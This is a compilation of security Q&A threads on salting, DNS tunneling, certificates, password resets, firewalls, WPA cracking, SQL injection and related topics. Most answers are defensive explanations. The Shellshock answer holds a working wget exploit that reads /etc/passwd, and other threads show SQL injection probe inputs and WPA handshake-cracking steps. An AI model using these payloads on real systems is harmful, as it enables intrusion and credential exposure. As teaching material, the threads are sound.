How often do two users use the same password If no two users use the same password, then in theory salting the password hash is not needed.  How often, in practice, do two users have the same password?

The assumption is already wrong. Even if every password was unique, you'd still need salts.

Without salts, the attacker can go through his list of possible passwords just once, compare the hash of each guess and check if the result matches any of the stored hashes. In other words, the attacker only needs a single calculation per guess. This has nothing to do with whether or not the passwords are unique.

Salts prevent this, because they make it impossible to reuse a calculated hash accross different user accounts. The attacker has to do one calculation per guess and user.

But even if you ignore this for a moment and only look at salts as a way to hide duplicate passwords, your scenario is still unrealistic: It's not enough for the passwords to be unique within your system. They need to be unique accross all systems which use the same hash algorithm. Otherwise, an attacker might find duplicate passwords by comparing your hashes with the hashes of some other application.

Since it's very unlikely that an average user will come up with a universally unique password, you need salts in any case.


DNS Tunneling - Mitigation I believe the root cause for DNS tunneling is because the internal hosts are allowed to do recursive queries of external domains. For DNS tunneling to work, an internal host should be able to send queries to attacker controlled domain dnstunnel.xyz.com.

I was wondering if we limit DNS queries to known/authoritative DNS servers alone, will it prevent this attack? To make it clear, when we run nslookup for an external domain from within the organization using a third party DNS server, it wouldn't resolve.

C:\Users\bAdb0y>nslookup cisco.com 8.8.8.8
DNS request timed out.
timeout was 2 seconds.
Server:  UnKnown
Address:  8.8.8.8

DNS request timed out.
timeout was 2 seconds.
DNS request timed out.
timeout was 2 seconds.
DNS request timed out.
timeout was 2 seconds.
DNS request timed out.
timeout was 2 seconds.
*** Request to UnKnown timed-out

I tried setting up a DNS tunnel using Iodine with and without the above setting. It failed to establish the tunnel when recursive queries were limited to internal DNS servers. The tunnel worked like charm otherwise. So is this fix effective? Or do I need to disallow recursive query by internal machines completely?

First of all, DNS tunneling typically leverages the fact that DNS traffic is not usually monitored.

So, to (give or take) effectively handle DNS tunneling these are required:

Payload analysis (high-level view at a DNS query itself)
Traffic analysis (stateful analysis i.e. keeping a track of multiple request/response of DNS queries)

There are a bunch of other things to add to that (entropy measurement in a DNS query, et cetera) as well. You can refer to the SANS documentation.

The idea is to stop a machine from being compromised at all in the first place. An unaccounted/unknown compromised machine in a network is a big problem.

As it will be off-topic, I will skip what organizations typically do to avoid getting into this situation in the first place.

For what it is worth, due to the same reason, a definite protection against a reverse shell is very difficult. Pattern/Traffic analysis (with or without SSL stripping) is the way to go for this, again.


Can a VPN client install a CA Root Certificate for use in the web browser? I've read somewhere that HTTPS can be compromised by having a CA Root Certificate installed as a method of 'HTTPS Inspection'.

How can I know if my VPN service provider doesn't do HTTPS Inspection and if it does, what are the things I can do to prevent unauthorized Root CA installation in my browser?

Any process running with our privileges our higher can in theory install a new root certificate. But that does not mean that it will do it. If you take for example the VPN support bundled into Windows (PPTP, L2TP/IPSec) then there is no way for the server to push a new root certificate to your system. The same is true with the original OpenVPN client.

But, if your VPN provider asks you to install specific software to use their VPN then it might be possible that this software will already install a new root CA when you install the software or that it will do it later when instructed by the VPN server. Or it might do even worse things.

VPN software is in this case no different from all the other software you download and install to your system: it can do a lot of harm (adding a new root CA, monitoring you through your webcam, capture all your keystrokes...) and you should install it only if you really trust the vendor and the path how the software gets distributed.


Does giving out Dell service tag of my device pose a security risk? Does giving out Dell service tag of my device pose a security risk?

If it does, please elaborate as to how.

No, giving out your Dell service tag isn't a risk as such - all it can really be used for is logging support calls with Dell when you need help due to a fault with your machine. And if it resulted in them needing to send an engineer they'd ask for the address to go to fix the device. I guess if someone really wanted to they could log a load of support calls for your machine but it wouldn't impact you in any way, Dell might just get a little annoyed.

Regardless of that, the service tag is pretty public information for example if you're using a laptop all someone has to really do is get a glance at the bottom.

To add to this I believe if you create an account with Dell you can bind devices (Via their service tag) to your account that way if someone did give them your service tag they would ask that they prove their identity (In theory) - this doesn't stop someone from making an account and doing it, it's just unlikely as it won't benefit them to do this.

I wouldn't be worried about someone having the service tag - it is not a threat.


how end certificate refers to intermediate certificate As far as i know certificate chain is accomplished based on the issuer's CA name. It is possible that the algorithm to create certificate chain first reads end-certificate's issuer area and get the value of CA. Then make a search in trust store with this data, it reads the subject ares's CA value for all certificates. If there is a matching, algorithm accepts that certificate as a certificate in the chain.
At this point i wonder that; what if there is another certificate whose subject CA name is similar.
Here are my questions:
How the algorithm choose the suitable one?
Is there any reference except than the issuers' CA name to the certificate in chain?
Briefly how certificate chain accomplished?
Thanks in advance.

Chain building is a multi-step process which involves a lot of operations.
Subject and Issuer pair is used only to bind certificates in temporary chains. Certificate chaining engine attempts to build as many chains as it can. After a set of chains is built, all chains are validated according to rules described in RFC 5280 §6.1. During this process a tighter binding is performed using other fields (Subject Key Identifier and Authority Key Identifier) and signature validation. Any invalid chain is eliminated. In the end, certificate chaining engine gets single and best (among others) chain with its status.
I have a blog post which describes how CCE works in general: Certificate Chaining Engine — how it works


X.509 certificate attack (small sha1 private key) I've got a X.509 certificate, created by an unknown CA. The only thing I know is that the private key is very short, so I can retrive the private key.
Is there any program I can use? The used algorithm for the signature is SHA1RSA.

The fact that SHA1 was used is trivial; if you have the private key used to encrypt the hash digest, you can make any changes you like, recompute the digest and push it out. You don't necessarily have to break SHA1 if what you're after is the RSA private key.

By "small", how small are we talking? The largest RSA modulus ever factored (thus indicating that that key bitsize can be feasibly cracked) was 768 bits in length (232 decimal digits long), and it used the General Number Field Sieve method that is the current gold standard for RSA cracking. Most certificates have been using 1024-bit keys or better for years now (what's 1KB between friends, especially with broadband Internet?), with the current minimum being 2048 bits (considered impossible with current knowledge of the pace of technology, but possibly vulnerable to a new type of hardware or uncovered vulnerability) and 4096 bits being the gold standard (considered impossible even if a future vulnerability or quantum leap in hardware reduced cracking time complexity by half).

Also, do you know what padding was used? Vanilla RSA, without any padding scheme, is vulnerable to certain mathematical attacks, which is why nobody's used vanilla RSA for a while now; most RSA encryption is performed either with PKCS or with OAEP padding schemes which reversibly obfuscate the plaintext before encryption (making various types of known- or chosen-plaintext attacks much more difficult).

Lastly, if the CA was using such a small key size, the CA certificate that signed the one you have may well be expired (meaning cracking it is a moot point; anything you generate won't be accepted because one or more certificates in the trust chain have expired).


Ensuring security in Token url authentication I am trying to make provision for resetting password if the user forgets his password. What I did is make a html page(say email.html) where the user will enter his email address. When the user submits his email address the webpage forwards it to a servlet, lets call it forgot_pass.java. Then a unique 128bit alpha numeric string (say id) is created. This string along with url of forgot_pass.java (like url?id=21345...) is send to the user's email address. Upon clicking on the link, servlet forgot_pass.java checks if the id is valid or not and also checks if it expired or not. If it passes above mentioned checks then the user is forwarded to another html page (lets call this one re-enter.html). In this page the user can enter his email id, enter password twice and submit. This concludes the process.

My concern is if anyone access re-enter.html, wont he be able to change his password ?
How can I improve security ?

What you've got sounds at a basic level, how many people handle password resets.  A couple of things to consider.

Tokens should only be valid for one user. i.e. you shouldn't have a pool of "valid reset tokens" but a list of token-->username mappings. So when someone accesses page one you can tie that to the account they should have clicked the link from.
when the user successfully uses the forgotten password link, after checking their token you should set a session token for them, and then check for a valid session token when loading the second page.  That way if anyone tries to directly access the second page they won't be able to use it without a valid session
you should pre-populate the E-Mail ID for the second page based on the user who's token is being accessed.  Otherwise there's a risk that one user can reset anothers password.
Once the token has been successfully used you should invalidate it to prevent someone who comes across it in future from resetting the users password again
You should have an "unused" token expiry to prevent them from being permanently useful.
One user account should only have one valid token at a time.  If a user has one issued, and they go through the process again it should overwrite the first token.


Found some mysterious folders in each of my drive in windows 10 Today while investigating the frequent freeze of my windows 10 machine I found some mysterious folders in each of my drive containing some files. Folders are hidden and readonly. Most of these files do not open but some files open but have text not understandable.

like in

  C Drive contains

  Folder name : Xstorage172

  Contains Files

  arrange-meaning.rtf - 89KB
  gave-thick-found-shopping.pem - 50KB
  independenceplasterbombers.docx - 272KB
  jointhumblelendreplacement.mdb - 198KB
  laboratory complement amongst manufacturer.sql - 19KB
  mike-changes.txt - 39KB
  one_pursue_degree_succeeded.jpg - 276KB
  screw.chamber.quantity.divide.xlsx - 495KB
  touch_guess_goal.doc UOA1ao6zzjvk.xls - 400KB
  UOA1ao6zzjvk.xls - 69KB

  D Drive contains two folders

  Vcaches191 and ysystem45

  Vcaches191 folder contains Files

  accordingly_person_nato_spectrum.xlsx
  clubs.production.confirmed.therefore.doc
  CSW.docx detriment education deck focus.rtf
  devil_numerous_higher.jpg
  innovationyork.txt
  interviews consequent sword bearing.xls
  receive_relatively.mdb
  resistance.dominated.processes.pem
  rope visual voting.sql

and

ysystem45 folder contains files

  8EAo.xlsx
  coefficient.language.race.pem
  completelywindsadult.mdb
  dense annoy species.docx
  graduatecumbersome.xls
  lift formerlyorder.txt
  LKZlHp2Fyq1.rtf
  swept-males-snakes.jpg
  whereas furnish want.doc
  xbP3GhRM.sql

See the pattern. Each folder have same type of files but with different names.
Is this some kind of virus or malware???

One more thing. Files' create date is of today's when I turned on the system.

Files' content links (due to less than 10 reps I am unable to link all files in seperate links. I am pasting link of my "pastebin" profile where you can find contents of following files.)

C:\Xstorage172\gave-thick-found-shopping.pem
C:\Xstorage172\laboratory complement amongst manufacturer.sql
C:\Xstorage172\mike-changes.txt

Pastebin profile

The names are generated, so you definitely it looks like some kind of infestation.

But it looks like RansomFree, a program that creates fake known types of files and monitors these files, and whenever they change, it detects the originating process and pauses it.

Be aware that other malware may trick you and do something similar.


Why is it necessary to validate data in a servlet obtained by calling HttpSession.getAttribute()? I am new to WebApp programming and am trying to understand the security implications of not validating data obtained by calling the javax.servlet.http.HttpSession.getAttribute() interface method. I know as a general rule that one should always validate data obtained from a non-trusted source, but I guess I don't understand why the contents of the session would be untrusted. This is based on my (probably unwarranted) assumptions that the only way data could be added to the session would be by calling HttpSession.setAttribute() and that only trusted code that is within the scope of the same application should be able to do that.

I guess what I am really asking is how an attacker would exploit my failure to perform proper validation of data obtain from the HttpSession. Is it because the implementation is unknown and it cannot be guaranteed that the contents of the session are not constructed somehow from data in the HTTP request (aside from a session id) and thus are subject to tampering? Or is it because trusting the contents of session means implicitly trusting the session id, which may be compromised and point to the wrong session? (although for that to happen it seems like the attacker would have to have some means of creating an alternate session that contains the compromised data).

Assuming that the contents of the session is not constructed from data in the request, is it the case that the only way this vulnerability could be exploited is if there is another vulnerability that would allow an attacker to create a bad session? E.g. uploading executable code and getting the server to execute it and return a session id that is captured and replayed?

No, you're right, there isn't a way for an external attacker to inject content into a session attribute.

I don't see any reason to validate data from session storage. If you've got attacker code running in your servlet container you're already in a much worse situation than anything to do with input validation.


How can attackers bypass firewalls? I have read the Wikipedia article on firewalls but don't understand firewall security and how an attacker from the outside can bypass the firewall to hack target system.

We all know it happens but what methods make it possible to do that?

Firewalls aren't "bypassed" in the sense Hollywood would have you believe. They operate by checking incoming and outgoing traffic against a set of rules. These rules might be based on metadata (e.g. port number, IP address, protocol type, etc) or real data, i.e. the payload of the packet.

For example:

Drop all incoming packets from IP address 1.2.3.4
Drop all incoming TCP packets on port 22, unless they're from IP address 2.3.4.5
Drop all incoming TCP packets with the RST flag set, when the sequence number does not match that of a known connection.
Drop all incoming and outgoing NetBIOS packets.
Drop all incoming packets on TCP port 80 that contain the ASCII string 0x31303235343830303536.

Modern firewalls are usually comprised of the following rule sets:

Base rule set - usually "block all" followed by a list of exceptions for commonly used services / protocols (e.g. outgoing HTTP requests)
Custom rule set - a set of user rules designed to override / complement the base rule set.
Signature rule set - a set of signatures to prevent against known exploits. The last rule in my list is an example of this - it detects the Havij SQL injection tool. These usually override all other rules. This set is analogous to an anti-malware database, and must be updated frequently.

Bypassing a firewall isn't really something that can be done. All traffic that goes through it is filtered according to the configured rules. However, a firewall only does what it is told - a misconfigured or out of date firewall might allow an attack through.

Ways I can think of to get round a firewall:

Literally go around it. Find another entry point to the network that does not pass through the firewall. For example, send some malware or an exploit to an internal user via email.
Exploit a misconfigured firewall by crafting packets that don't trigger the rules. Difficult, but potentially possible.
Send custom exploit payloads to the target on an open port. Firewalls can only identify known exploits.


Creating a password for new user when their first action *won't* be changing it On occasion we want to create a user account for important users who we've been in touch with in advance.

When they then visit our site, the ideal UX scenario is that they complete a third party form (generated by HelloSign) first, and change their password second.

Is there a good way to do this? I looked at eg this thread on sending an initial password via email, which is the solution that first occurred to me. The top-voted response recommends against the practice in favour of getting a log in/reset link, but as far as I understand, the point of doing it via token would be to prevent any other activity before the password has been changed. Is there any secure alternative?

I'd recommend that you do the following:

Once you receive their submission, create their account and set up a random password for the password field. Then send them a password reset link that'll also double up as a email verification link. From there, log them in normally.


Benefits of injecting antivirus inside browser Some antiviruses propose you to use their browser plug-ins. For instance, Avast SafeZone propose you reactive defend by checking signatures of keylogers/malware/spyware etc.

But, what's the benefit of browser + embeded antivirus plugin over browser + separate antivirus?

That the file gets scanned in the browser while downloading. This way you can block malware before it's correctly installed on the system.

Most AVs are only able to check for viruses after they've been installed to the system and had the time altering it.

This isn't always the case though.
Sometimes your browser also leads the downloaded file automatically through your installed AV.


Using + for email addresses to find out who is selling your data: is it naive or is it effective? It's pretty common among security-minded folks to fill in addresses using e.g. foo+company@gmail.com when disclosing their email address to company so that they can tell if company has sold their address if they start getting spam.

But is it just me, or is this pointless? It literally takes only one regex substitution to strip out the +company portion, and once that's done, the email address is bare. And from the point of view of a spammer, I don't see why this wouldn't be done.

Am I missing something? Is this actually effective? Why/why not?

You're correct, the 'protection' is pointless against an adversary who's motivated enough to clean up their lists of email addresses. As pointed out by the OP, getting rid of +'s is trivial.

I've seen some security researchers (and  others) create actual addresses instead, e.g. name.topic@... and setup aliases to their main address. The advantage is that you can use another primary address (not just name@...) and so you don't risk your actual address being found out and it's easier to revoke a spammy adress.


What approaches are to detect DoS attack in IDS/Firewall? First approach to DoS attack detection: There are techniques for intrusion detection, and of course DoS attack, in which for each packet (or flow) some features are calculated, then based on some classification algorithm, it is determined whether this flow is anomaly or not. This way specific flow is flagged as anomalous.

Second approach: For DoS attack, there is this technique in which network traffic is aggregated according to some features (e.g. SYN flag set) and then using signal processing or other techniques like simple threshold, they find out if there is any anomaly in this time slot or not. However, this way we can't determine which flow is anomalous. There are techniques that further process that time slot, to find anomalous flow or if anomaly is DoS (maybe by implementing the first approach for this specific time slot).

The first approach is not implemented in Snort, as I asked previously here. I don't know whether commercial products use this approach or not.

Did I understand the trends right? Why is the second approach interesting at all, if the first approach works (Or is it simply because the first approach doesn't work?). To limit the search space to a specific time slot? Is there any deference here between IDS/Firewall? Are there any other approaches?

DoS attacks are simply massive floods of data being sent to your server. Something as simple as a Nagios rule can be set up to detect an abnormal traffic load.

Here are some example rules for basic traffic stats monitoring:

"If I'm receiving more than 80Mbps of incoming traffic, send an alert." - useful for known average traffic rates that don't vary much.
"If my incoming traffic rate exceeds 60Mbps and the average incoming traffic rate over the last 10 minutes exceeds the average incoming traffic rate over the last 4 hours by more than 70%, send an alert." - Useful for situations where traffic varies, but a reasonable baseline threshold is available.
"If the number of SYN packets received in the last 5 minutes exceeds the number of ACK packets received by a factor of 10 or more, send an alert." - Useful for catching SYN floods.

If we consider IDS rules instead, we can look into more specific rules about individual clients:

"If any one IP has contributed to 100MB or more of traffic in the last 20 minutes, send an alert." - Useful for catching individual DoS attempts, or possible data exfiltrations. Obviously this won't work too well if you're offering large files to users.
"If any one IP has sent more than 40MB of UDP traffic in the last 10 minutes, send an alert." - Useful for catching UDP floods, since UDP traffic isn't really expected on most web servers.

Obviously these are just examples.

The difference between an IDS and a firewall is primarily that an IDS is passive (i.e. it looks at traffic and produces alerts when bad things happen) and a firewall is active (i.e. it drops packets that match a rule). However, a firewall usually has much more simple rules, often based around metadata like the source IP, protocol type, port number, TCP sequence number, etc. An IDS usually focuses on the payload, rather than the packet. Some firewalls include IDS features, and an IPS is essentially a combination of the two that can manipulate traffic based on more complex rules.

In terms of flow analysis vs. packet analysis, both styles of mitigation work, but they work even better when combined. Your flow rules are likely to catch DDoS attacks once they've started to affect your system, whereas your packet analysis rules are likely to catch DDoS attacks in their infancy. The false-positive rate on packet analysis is quite high, so using both as an indicator makes more sense.


SSL/TLS: How to fix "Chain issues: Contains anchor" I just ran a quick test at ssllabs.com: got A+, which I'm happy about.

However there's one thing I don't know how to "fix":
My site supports OCSP stapling and ssllabs keeps telling me: Chain issues: Contains anchor.
I know this is just a "warning" in the sense that it slows down the connection a bit.

nginx config:

..
ssl_certificate             public.crt;
ssl_certificate_key         private.key;
ssl_stapling                on;
ssl_stapling_verify         on;
ssl_trusted_certificate     my-chain.pem;
..

Where:
- public.crt is the public certificate I got from StartSSL
- private.key the certificate's private key
- my-chain.pem (ssllabs calls this: "Additional Certificates (if supplied)") consist of:

1.) StartCom Class 1 Primary Intermediate Server CA
2.) StartCom Certification Authority

I found a site which also uses StartCom (StartSSL) certificates, supports OCSP stapling, but does not have the issue described above.

This site's "Additional Certificates":

1.) StartCom Class 1 Primary Intermediate Server CA

I've tried the same: Only put "StartCom Class 1 Primary Intermediate Server CA" to my-chain.pem.
However then ssllabs says: OCSP stapling: No So this seems to completely break OCSP stapling.

Any idea?

EDIT:

Finally fixed!

ssl_certificate = Site certificate + StartCom Class 1 Primary Intermediate Server CA
ssl_trusted_certificate = StartCom Class 1 Primary Intermediate Server CA + StartCom Certification Authority

According to nginx documentation the ssl_trusted_certificate parameter contains trusted CA certificates used to verify client certificates and OCSP responses if ssl_stapling is enabled and the list of these certificates will not be sent to clients.

Therefore I think that what ssllabs calls "Additional Certificates (if supplied)" are the certificates in the ssl_certificate file which are not the server certificate.

For me:

public.crt should contain these 2 certificates:

1) your server certificate
2) StartCom Class 1 Primary Intermediate Server CA

my-chain.pem should contain these 2 certificates:

1) StartCom Class 1 Primary Intermediate Server CA // required to validate the server certificate OCSP response
2) StartCom Certification Authority  // required to validate the intermediate CA certificate OCSP response


Reverse engineering (decompiling) an hackme challenge .exe file in OSX I am a complete newbie in the reverse engineering world, and being able to decompile .exe files in my OSX is being a pain.

Does anybody know a good decompiler of .exe for OSX, or any hint about where I can find one? Have I got any conceptual mistake like "that things don't exist"? :P Google is being quite confusing about it.

BTW, I know these apps could have illegal applications, but also very legal ones (nothing new for this site, i guess :P) In my case, I'm just trying to learn a little bit of reversing and I need this decompiler to pass some levels of an online wargame (or, at least, I think so). In concrete, this one: http://www.yashira.org/index.php?mode=Retos&resp=inforeto&level=126 (in spanish)

Thanks a lot for your time! :D

EDIT: @YoavAner has brought to my eyes that the linked page requires a login (thanks, @YoavAner :D). If you are interested in the wargame (or in this level in particular), you will need to register in  to access to the levels.

GNU binutils include the objdump utility which can disassemble executable files into human-readable, or at least programmer-readable, assembly source code. It can do so for any supported target it has been compiled for, regardless of what architecture the tool itself is running on. In particular, it can disassemble a Windows .exe file even when running on MacOS X.

(Installing GNU binutils with support for a lot of binary targets, not only the one the tools are actually running on, entails downloading the source code for GNU binutils, and recompiling it with the appropriate cross-target options. Documentation is included. People who can do anything at all with a disassembled binary ought to be able to do such a task easily.)

Of course, disassembly is only the first step in reverse-engineering. The second step is a lot of hard thinking, which you do in your brain.

Note: I assumed here that the .exe was a Windows binary file, with x86 opcodes. Nowadays, it may also be a .NET assembly, i.e. not x86 opcodes, but CIL. In that case, you will want to use specific disassembler like these ones. It will still work with MacOS X, and still be opensource and free. And you will still need to think a lot.


WEB long basic authorization string/Buffer Over Flow I have a external user getting a weird error in the middle of using my website.  The user authenticates, post a search for information, and then with the address of the search results page they get a Request denied by WatchGuard Firewall page with the Reason: IPS detected for "WEB long basic authorization string/Buffer Over Flow".

It doesn't make sense to be that there would be an authorization string difference between the time they are visiting the search page and the time they are receiving the search results page.

Have anyone seen this pattern of error?

This is all of the hallmark of a false positive.  Are you even using HTTP basic auth to access this website?  My guess is that your web application firewall is overpriced and poorly made.   You should try mod_security,  its free and also poorly made.


How to setup GPU for Cracking WPA/WPA2? I have a Dell N5110 15R Laptop that I'm planning to use for GPU based cracking of WPA/WPA2 passwords. The thing is, I'm not a really big fan of password dictionaries and rainbow tables, I'd rather like to go with a bruteforce method. I don't know the difference in time it takes but I'm trying to go for the least timing here.

Anyway, from what I understand my laptop is equipped with Optimus which alternates between the built in Intel Graphics Card and the Nvidia GT525M card. The problem is that there's no direct way of getting linux to see the Nvidia card, let alone alternate between them. I'm not planning on using the graphics, I just need the card for GPU cracking. Any ideas there?

That's one part, the other part is to build a certain setup that would let me crack WPA/WPA2 password by running a bruteforce attack on them (without using a wordlist). I don't know how much time it would take to complete a task like this, but if you have any idea please let me know. So far I understand that I need to tunnel JTR and airodump to accomplish that task. Any ideas there as well?

Any help would be appreciated! :)

I guess you are looking for this tool

  Pyrit allows to create massive databases, pre-computing part of the IEEE 802.11 WPA/WPA2-PSK authentication phase in a space-time-tradeoff. Exploiting the computational power of Many-Core- and other platforms through ATI-Stream, Nvidia CUDA and OpenCL, it is currently by far the most powerful attack against one of the world's most used security-protocols.

Honestly, I never used Pyrit, but it seems like a good piece of software. The Google Code Page holds some tutorial and setup instructions. As Pyrit takes traffic dumps in the pcap format, you can record Wifi-Traffic (the more, the better) and analyze it some other time or place.

You might also want to have a look at here: GPU-Based Cracking @ Tom's hardware. This site covers some staticstics on average cracking times. Even though Pyrit exploits the computational power of your graphics card, the cracking of a various 6 digit alphanumeric password will take at minimum 3 days.

Pyrit on GoogleCode

BTW: The BackTrack Linux Distribution (A LiveCD for penetration testing) comes with Pyrit preinstalled.


SMS OTP as 2FA - should there be sms session id in sms for user's verification? Several times I saw SMS 2FA implementation when a web site shows "sms session id" (say, 8 digits token) right after sending sms to user together with OTP prompt. Sms comes with OTP (say, 4 digits) and the sms session id (8 digits).
User then should verify that sms session id in sms matches one in web site UI and only then enter the OTP. If sms session id does not match, user should stop and avoid entering OTP.

Wondering is this kind of workflow made for security reasons? And verification of sms session id protects from some kind of attacks?

One example of such workflow: webmoney.ru

My guess would be that they're trying to prevent you from entering your OTP on a phishing page. If that's the case, their solution is wholly ineffective.

If you're on a phishing page and you receive a valid OTP, that must mean that the phisher has already entered your username and password to trigger the 2FA. They can simply take the "session id" that's sent to them and forward it on to you, and you'll be none the wiser.

4 digits is also rather short for an OTP. 6 digits is common, 7 or 8 is better. Without proper throttling or account locking 4 digits is trivial to brute force. Even if they throttle it to 1 attempt every 5 seconds it'll take under 10 hours to have a 50% chance of guessing a correct code (of course you'll hopefully notice your phone blowing up with a large number of OTPs during this time and change your password, but still...). And that's not even considering the fact that SMS isn't a secure channel.


How exactly does 4-way handshake cracking work? From my understanding this is how WPA2 works for home networks:

PSK (Pre-Shared Key) is used to generate PMK (Pairwise Master Key), which is used together with ANonce (AP Nonce) to create PTK (Pairwise Transient Key).
PTK is devided into KCK (Key Confirmation Key, 128 bit), KEK (Key Encryption Key, 128 bit) and TEK (Temporal Encryption Key, 128 bit).
KCK is used to construct MAC in EAPOL packets 2,3 and 4.
KEK is used to encrypt some data sent to client(for example GTK).
TEK is used for encrypting traffic between client and AP, later during session.

Now the WPA 4-way handshake:

AP sends ANonse (AP Nonce) to client, which is basically a random Integer of 256 bits.
Client use the ANonce and PMK to generate PTK (Pairwise Transient Key), and send CNonce (Client Nonce) and MAC.
AP sends MAC and GTK (Group Temporal Key) to client.
Client send ACK with MAC.

Now, how does handshake cracking work (for example dictionary attack) if the whole PTK isn't used (KCK and KEK are used during handshake, but TEK isn't)?
I understand that the words from dictionary are used as PSK to generate PMK and Anonce (which is also captured in handshake) to generate PTK, but how can I know when PTK is correct when 1/3 of the key is never used?

Short answer is, 4-way handshake password "cracking" works by checking MIC in the 4th frame. That is, it only checks that KCK part of the PTK is correct. 4-way handshake doesn't contain data that would allow checking of other parts of the PTK, but that's actually not needed, for two reasons:

MIC verification is how AP checks the validity of PTK (and, consequently, the password);
Chances of a password producing PTK that has valid KCK but invalid other parts are really low: KCK is 128 bits, so probability of incorrect password producing correct KCK is 2-128.

Overall, 4-way password "cracking" works like this:

4-way handshake is parsed to get SP and STA addresses, AP and STA nonces, and EAPOL payload and MIC from 4th frame;
Candidate password is used to compute PMK;
PTK is computed from PMK, AP and STA addresses and nonces;
KCK from computed PTK is used to compute MIC of the EAPOL payload obtained at step 1;
Computed MIC is compared to the MIC obtained at step 1. If they match then candidate password is reported as correct.

If you'd like to see actual implementation of the attack, one place to start is coWPAtty sources: they're relatively small, self-contained, and easy to read.


Manual Testing and Exploitation of an SQL Injection So I read over this, this and this. I understand WHAT an sql injection is and the different TYPES of sql. But none of these guides give a definitive example on how to find, enumerate and exploit the different injection by hand. I'm looking for an answer to explain how to MANUALLY run through an sql injection process. If possible, please show examples for the different type of injections and how to enumerate different pieces of information critical to an sqli attack.

A few references;

http://www.imperva.com/resources/glossary/sql_injection.html
Gives a pretty good walk through on the process.
http://ha.ckers.org/sqlinjection/
https://www.owasp.org/index.php/SQL_Injection

How about this? http://hackonadime.blogspot.com/2011/07/manual-sql-injection-without-tools.html


SQL injection vulnerability identification using URL's GET param I would like to learn to identify if a website is or may be vulnerable to SQL injection (SQLi), without using any tool such as sqlmap. I have read something about it, but I would like somebody to confirm or correct me the assumptions I have made.

Method 1

Does it mean that when inserting a (') at the end of a numerical get parameter in a URL (Ex: /agenda_dat.php?ID=10'), if the webpage shows a DBerror message or a white page, the website is 100% vulnerable to SQLi, or could it be that the website it is NOT vulnerable to SQLi?

Method 2

Does it mean that when doing the following

/agenda_dat.php?ID=10  (Original URL -> returns original page)
/agenda_dat.php?ID=12-2  (Returns the same page as the original one)

the website is 100% vulnerable to SQLi, or could it be that the website it is NOT vulnerable to SQLi?

1)
If anything on the page chances, there is likely something wrong, and probably SQLi. However, if it's a Database-error, you have a big chance of it being SQLi-vulnerable.
A white page on the other hand ain't necessary a guarantee it's vulnerable. Maybe the 'news article' or whatever wasn't found and the website just returns a blank page.

Also, needed to mention that there is a difference between a Database-error and a WAF-error, HTTP-error,... The latter two don't necessarily mean a SQLi-vulnerability though.

2)
Yes, also this shouldn't be accepted by the server-side code. And you can be pretty sure a SQLi-vulnerability is going on.


What is a specific example of how the Shellshock Bash bug could be exploited? I read some articles (article1, article2, article3, article4) about the Shellshock Bash bug (CVE-2014-6271 reported Sep 24, 2014) and have a general idea of what the vulnerability is and how it could be exploited. To better understand the implications of the bug, what would be a simple and specific example of an attack vector / scenario that could exploit the bug?

A very simple example would be a cgi, /var/www/cgi-bin/test.cgi:

#!/bin/bash
echo "Content-type: text/plain"
echo
echo
echo "Hi"

Then call it with wget to swap out the User Agent string.  E.g. this will show the contents of /etc/passwd:

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://10.248.2.15/cgi-bin/test.cgi

To break it down:

"() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"

Looks like:

() {
    test
}
echo \"Content-type: text/plain\"
echo
echo
/bin/cat /etc/passwd

The problem as I understand it is that while it's okay to define a function in an environment variable, bash is not supposed to execute the code after it.

The extra "Content-type:" is only for illustration.  It prevents the 500 error and shows the contents of the file.

The above example also shows how it's not a problem of programming errors, even normally safe and harmless bash cgi which doesn't even take user input can be exploited.


Need help deciphering malicious JS code was hoping someone could give me a hand with deciphering this obfuscated Javascript added to a webpage that I own. As the code is quite large I will just link to pastebin posts but I can add them to the post itself if needed. I'm not quite sure of the best practises and etiquette in regards to posting malicious code so please let me know if this is incorrect.

Here is the code after running it through a JS pretty print tool:
http://pastebin.com/8YA0j7Av

I did manage to decode the hex array from the above code into this:
http://pastebin.com/kKwLetXh

Can anyone enlighten me on what exactly this code is doing? And the best way to avoid it happening again in the future?

Thanks!

It adds an iframe to your page which points to some browser exploits to infect anyone viewing your site. It then sets a cookie which tells it not to try again, so it only puts the iframe on the page the first time you access it (which makes it somewhat less obtrusive).

The usual way these get added to your files is that you leaked your password for admin access to the server, after getting infected by browser exploits yourself. In that case the course of action is (1) scan all client machines that have accessed the site (with multiple AVs, as AVs are unreliable); any infected machines should be reinstalled from scratch (AV removal is very unreliable); (2) change passwords; (3) if you are using FTP, stop doing that; (4) back up any data, wipe the server, restore code from known good backup/source control.

Other types of compromise are possible (eg vulnerable web app deployed—check your logs for suspicious access and ensure all applications are updated), but FTP account credential compromise is the most common source of this kind of intrusion today.


When using symmetric key encryption, do we need to sign? Say we're using a shared key between two parties, that has been distributed using public key encryption, is it still necessary to sign any data that's encrypted using the shared key? Or is it enough to assume that because the shared key was distributed using public key crypto , and hopefully only known to the two parties involved, the message doesn't need to be signed to authenticate the sender?

Basically, does symmetric key encryption give any authenticity, and possibly non-repudiation?

Encryption with a secret symmetric key does not prove authenticity unless you use an authenticated encryption mode of operation such as GCM. Authenticated encryption algorithms generate a Message Authentication Code (MAC) in addition to encrypting the message, and if the shared key is properly secured this can be used to prove the authenticity and integrity of the message but not non-repudiation (this is a big "if" - more later).

Regular symmetric key encryption with a shared key does not prove the integrity nor authenticity of the message because nothing prevents an attacker from generating a random message which the receiver will then decrypt and accept. Though the attacker doesn't know what the decrypted message will look like there are many situations in which having the receiver accept a randomly generated message may be advantageous to an attacker.

Only someone with access to the symmetric key can generate a MAC of a message, so using authenticated encryption with a properly secured symmetric key is enough to authenticate the message. MACs do not provide non-repudiation because in symmetric cryptography the receiver also has the same secret key, so there's no way for the receiver to prove that the sender and not the receiver signed the message.

As emphasized previously, using a shared key for authentication requires the shared key to be properly secured. Specifically, if the receiver generates the symmetric key and sends it to the sender asymmetrically encrypted with the receiver's public key (which is the ordinary way to send encryption keys using PKI) then this symmetric key cannot be used to prove the authenticity of messages sent by the sender since nothing in the process proves the identity of the sender. Anyone with access to the receiver's public key (which is after all public) can generate a random symmetric key and encrypt it with the receiver's public key.

A symmetric key can be used to authenticate a message only if the scheme for generating the shared symmetric key includes two way authentication. Schemes which include two way authentication to generate shared keys for signing and encrypting messages are commonly known as a Secure Authenticated Channel or SAC.


